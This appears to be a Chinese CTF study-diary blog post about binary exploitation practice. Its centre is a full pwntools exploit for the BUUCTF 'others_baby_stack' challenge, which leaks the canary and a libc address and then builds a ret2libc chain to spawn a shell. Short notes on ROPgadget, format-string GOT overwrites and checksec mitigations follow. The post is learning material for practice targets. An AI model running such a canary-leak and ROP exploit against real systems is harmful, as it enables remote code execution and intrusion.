pwn学习(四)

    科技2022-07-12  131

    今天复现了gactf的simulator,lc3的的汇编感觉和mips满像的 pwn方面看了brop,感觉只有盲打有用,感觉对一个re手并不需要,算了就当看看吧 在刷题上,位只能说今天做的三道题都和格式化字符串有关,我都不会(好菜阿),但是学到了很多,不得不说格式化字符串好不熟练阿。。。。 others_baby_stack

    from pwn import * p = remote('node3.buuoj.cn',28992) #p = process('./main') elf = ELF('./main') libc =ELF('./libc6_2.23-0ubuntu10_amd64.so') write_addr = libc.sym['write'] write_got = elf.got['write'] puts_plt = elf.plt['puts'] #main_addr = elf.sym['main'] pop_addr = 0x400a93 p.sendlineafter('>>','1') p.sendline('a'*(0x90-8)) p.sendlineafter('>>','2') p.recvuntil('a\n') canary = u64(p.recv(7).rjust(8,'\x00')) print(hex(canary)) payload = 'a'*(0x90-8)+p64(canary) + 'b'*8 payload +=p64(pop_addr) +p64(write_got)+ p64(puts_plt) + p64(0x400908) p.sendlineafter('>>','1') p.sendline(payload) p.sendlineafter('>>','3') leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print(hex(leak)) #p.interactive() libcbase = leak - write_addr sym_addr = libcbase + libc.sym['system'] sh_addr = libcbase + libc.search('/bin/sh').next() payload1 = 'a'*(0x90-8) + p64(canary) + 'b'*8 payload1 += p64(pop_addr) + p64(sh_addr) + p64(sym_addr) + p64(0x400908) p.sendlineafter('>>','1') p.sendline(payload1) p.sendlineafter('>>','3') p.interactive() #leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) #print(hex(leak)) p.interactive()

    这道题让我知道了同一个进程的canary是一样的,puts()同样可以泄露canary,毕竟它的原理是到\x00才停,以及canary的最后一位是\x00 inndy_rop

    ROPgarget --binary main --ropchain

    了解了静态编译是什么。同时libc对静态编译没用,挖掘了ropgarget的新功能 secret 服了,还可以把全局变量改成got的表的地址来进行覆盖,格式化字符串没学到家阿,还得继续刷题,每天休息,不学习了

    在这里插入代码片

    RELRO: Full RELRO – 重定向 Stack: No canary found – 栈检查 NX: NX enabled – 不可执行 PIE: PIE enabled – 地址随机化 这个记一笔,老是忘 canary栈溢出(puts,printf泄露) relro got表只读 nx不可执行(mprotect?) pie(aslr)这个要怎么应对?

    Processed: 0.010, SQL: 8